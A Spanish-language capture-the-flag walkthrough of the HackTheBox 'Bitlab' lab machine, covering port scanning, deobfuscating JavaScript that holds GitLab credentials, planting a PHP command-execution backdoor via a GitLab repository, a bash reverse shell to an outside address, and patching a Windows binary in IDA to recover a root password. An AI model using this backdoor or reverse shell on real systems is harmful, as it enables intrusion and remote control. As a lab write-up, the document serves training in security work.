En este artículo, comenzaré a publicar soluciones enviadas para su
posterior procesamiento desde el sitio
HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, trataremos con una pequeña ofuscación de JavaScript, cargaremos la puerta trasera a través del repositorio de Git y depuraremos la aplicación 32.
La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Inteligencia
Escaneo de puertos
Esta máquina tiene una dirección IP de 10.10.10.114, que agrego a / etc / hosts.
10.10.10.114 bitlab.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

A continuación, debe recopilar más información sobre los puertos que conocemos.
nmap -A bitlab.htb -p22,80

Como se desprende del informe nmap, SSH y un servidor web se ejecutan en el host. Y en el servidor web hay robots.txt. Después de revisar los directorios de esta lista, observamos que gitlab funciona y hay un directorio de ayuda no indexado.

Yendo a la página de marcadores tenemos varios enlaces.

Js
Todos apuntan al sitio de un producto, excepto el último, que no contiene una dirección, sino un código JS.

¿Qué ofusca este código?
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Para obtener un código más legible, puede usar el
siguiente sitio .

Después de un pequeño refinamiento del código, obtenemos las siguientes instrucciones.
document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";
Git
Con estos datos de autenticación estamos autorizados en gitlab. Allí encontramos dos perfiles.

También puede encontrar un proyecto en el que hay una conexión a la base de datos, en el código presento todos los datos para la conexión.

Comprobando Perfil no encontramos nada interesante.

El implementador solo tiene código php.

A partir de este código, queda claro que si colocamos un archivo en el perfil, se implementará en el servidor.
Punto de entrada
Necesitamos colocar una puerta trasera php. Por ejemplo, uno que recibirá y ejecutará comandos.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Para hacer esto, abra Perfil y cree un nuevo archivo.


Y después de agregar nuestro archivo aparecerá en el repositorio.

Ahora estamos probando la puerta trasera.

Ahora tenemos un caparazón completo.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

Y vemos la conexión inversa a nuestro host.

Usuario
Una vez en el host, es imprescindible verificar los datos comprados anteriormente. Estos son los datos para acceder a la base de datos.
Abrir el intérprete PHP de forma interactiva. Usamos el código encontrado y revisamos los datos encontrados. Contraseña de usuario en base64, descifrarlo.

Entonces descubrimos la contraseña, que aparentemente puede conectarse a través de SSH. Pero esto no funcionó, ya que base64 es la contraseña)).

RAÍZ
Mirando alrededor del automóvil, encontramos un archivo exe en el directorio de inicio del usuario.

Lo copiamos a nuestro host para su análisis.
scp clave@10.10.10.114:~/RemoteConnection.exe .
A continuación, abra el archivo en IDA Pro. Desplazándose por la función main main, puede encontrar una comparación de la variable con el nombre de usuario y crear un proceso con masilla, un programa para conexiones de red.

Podemos suponer que la conexión ocurre con la provisión de datos de autenticación, y necesitamos encontrarlos. Los datos de conexión se pasarán masilla como parámetro, es decir variable v3.
Puede ver la línea final durante la depuración, pero en la IDA el archivo de 32 bits se bloquea. Al depurar paso a paso, entendemos que esto sucede después de llamar a GetUserNameW. Procedemos de la siguiente manera.
Ponga BP en el fragmento de comparación de nombres.

Ahora colocamos BP antes de cargar los parámetros para la función GetUserNameW.

Ejecute el programa en el depurador. La depuración se detendrá antes de llamar a la función que necesitamos.

Ahora parchea el código. En lugar de cargar los parámetros y llamar a la función, debe poner la instrucción NOP. Yo uso el complemento Keypatch para esto.

Ahora el código se ve así.

Continuemos depurando el programa para que deje de comparar el nombre. En este punto, la dirección de la cadena de parámetros ya se cargará en el registro EAX para pasar como el parámetro ShellExecuteW.

Ahora haga clic en la flecha (saltar en el desmontaje) al lado del registro EAX. Esto le permitirá ir a la dirección de EAX en la ventana principal de IDA.

Esta dirección contiene la cadena de parámetros. Como puede ver, contiene el texto simétricamente correcto "-ssh root ...". Pero cada carácter está representado por 2 bytes. Para recoger convenientemente la cadena, presione Alt + A.

Y en esta ventana, seleccione Unicode C-Style (16 bit). Luego observamos la cadena correctamente ensamblada.

Esta línea contiene la contraseña de root. Nos conectamos a través de ssh y recogemos el token.

Puedes unirte a nosotros en
Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.